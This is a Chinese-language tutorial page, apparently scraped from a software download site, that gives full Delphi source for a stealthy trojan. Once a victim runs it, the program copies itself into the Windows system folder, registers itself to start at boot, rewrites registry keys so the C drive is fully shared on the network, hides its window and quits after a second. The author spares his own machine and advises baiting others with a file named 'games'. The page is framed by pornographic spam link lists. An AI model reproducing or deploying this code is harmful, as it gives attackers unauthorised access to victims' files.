日本国产亚洲-日本国产一区-日本国产一区二区三区-日本韩国欧美一区-日本韩国欧美在线-日本韩国欧美在线观看

當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

如何讓C盤每次打開后都是完全共享

如何讓C盤每次打開后都是完全共享

更新時間:2021-09-25 文章作者:未知 信息來源:網絡 閱讀次數:

為什么我的C盤每次啟動后都是完全共享?看看以下這個程序就明白了,噢,索叻是叻:)
    此程序當網絡上其他用戶執行后,會自己復制一份到該用戶Windows的system目錄下,,并修改該機的注冊表,使該機的C盤自動改為完全共享,且每次啟動機子后都會重新修改注冊表,當然,為了不讓別人看出執行的程序,該程序執行時不會在任務欄顯示,本身也不回顯,執行一秒鐘后程序自動退出,不易被發覺。
來看源程序吧,該程序在Delphi5.0中通過:
    首先將mainform的BorderStyle屬性設為bsNone,由于要修改注冊表及復制文件,再在uses中加入 Registry,shellapi;
    大家注意程序中的注釋:

procedure Tmainform.FormShow(Sender: TObject);
var
  MyReg:TRegistry;
  mysyspath:Pchar;
  F:TShFileOpStruct;
  file_To,file_From:string;
begin
  //得到用戶機系統目錄
  GetMem(MySysPath,255);
  GetSystemDirectory(MySysPath,255);
  //文件名 file_To:=mysyspath+'\Sysdef.exe';
  //復制目標文件名 file_From:=application.ExeName;
  //復制源文件名
  //以下為注冊表修改
  MyReg:=TRegistry.Create;
  MyReg.RootKey :=HKEY_LOCAL_MACHINE;
  try
    if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then ;
      //指定子鍵能否打開,如不能則創建它,該子鍵包含硬盤共享參數
      if filesearch('wz.txt',MySysPath)='' then
      //搜索有否wz.txt文件,有則不執行,該判斷用于自己的機子,防止自己被黑,因而在自己的系統目錄下建立此文件,則不會被修改
      begin
        MyReg.WriteInteger('Flags',258);//共享為完全共享
        MyReg.WriteInteger('Type',0);
        MyReg.WriteString('Path','C:\');
        MyReg.WriteString('Remark','隨便你想寫什么');
        MyReg.CloseKey;
      end;
    if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then ;
    begin
      MyReg.WriteString('Sysdef',file_To);//將程序加載到啟動中,每次開機自動執行
    end;
  finally
    MyReg.Free;//釋放注冊表資源
  end;
  //以下為拷貝文件
  with F do
  begin
    wnd:=application.Handle;
    pFrom:=pchar(file_From);
    pTo:=pchar(file_To);
    if FileSearch('sysdef.exe',mysyspath)='' then
    wFunc:=FO_COPY;//文件是否存在,不存在則復制
    fFlags:=FOF_SILENT;//不顯示Copy動畫
  end;
  if ShFileOperation(F)<>0 then ; //此處為文件COPY失敗的操作,此程序里為空操作
    timer1.Enabled :=true;
end;

procedure Tmainform.FormCreate(Sender: TObject);
begin
  //Form不可見
  Application.ShowMainForm:=false;
  //程序不出現在任務欄
  SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure Tmainform.Timer1Timer(Sender: TObject);
begin
  //一秒鐘后程序退出
  close;
  application.Terminate;
end;


    程序完成后,將之放于顯眼的地方,只要網絡上的其他機子執行此程序后便會被修改,它的C盤可是赤裸裸的展現在你面前喲。 好了,小小程序,獻丑了! (另注: 編譯好的程序名為games,將之拷入根目錄下可以很好的運行,但是有可能出錯,將之拷入某盤任意目錄下即可正常運行。經過我的試驗,改為不同的文件名,需要的環境就不一樣。我也有點納悶,有可能是程序或者Windows的Bug。例如: c:\games.exe運行出錯,拷到c:\dd\games.exe則不會出錯,還希望高手指點:)

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

主站蜘蛛池模板: av天天看 | 亚洲国产欧美在线 | 欧美日韩三级 | 点击进入不卡毛片免费观看 | 天堂网成人 | 色噜噜国产精品视频一区二区 | 日本视频播放免费线上观看 | 中文字幕视频网站 | 视频在线国产 | 精品福利在线视频 | 中文字幕在线观看一区二区三区 | 国产综合另类小说色区色噜噜 | 免费日批视频软件 | 亚洲人成亚洲人成在线观看 | 日本人指教视频 | 99草视频 | 色噜噜综合 | 娇妻终于接受了3p的调教 | 这里只有精品久久 | 欧美久久综合性欧美 | 国产美女又黄又爽又色视频网站 | 欧美性猛交xxxx乱大交中文 | 欧美一区二区在线免费观看 | 曰批免费视频播放在线看片一 | 97久久国产一区二区三区四区 | 精品一区二区三区 不卡高清 | 久久99久久99精品免观看动漫 | 日本中文在线视频 | 97超级碰碰碰视频在线视频观看 | 97综合色| 欧美成人观看免费版 | 天堂在线亚洲 | 欧美夜夜片a| 呦呦视频在线观看 | 国产啪精品视频网免费 | 99爱在线精品视频网站 | 国产三级在线免费观看 | 国色天香精品亚洲精品 | 国产尤物在线播放 | 91久久免费视频 | 久久88香港三级台湾三级中文 |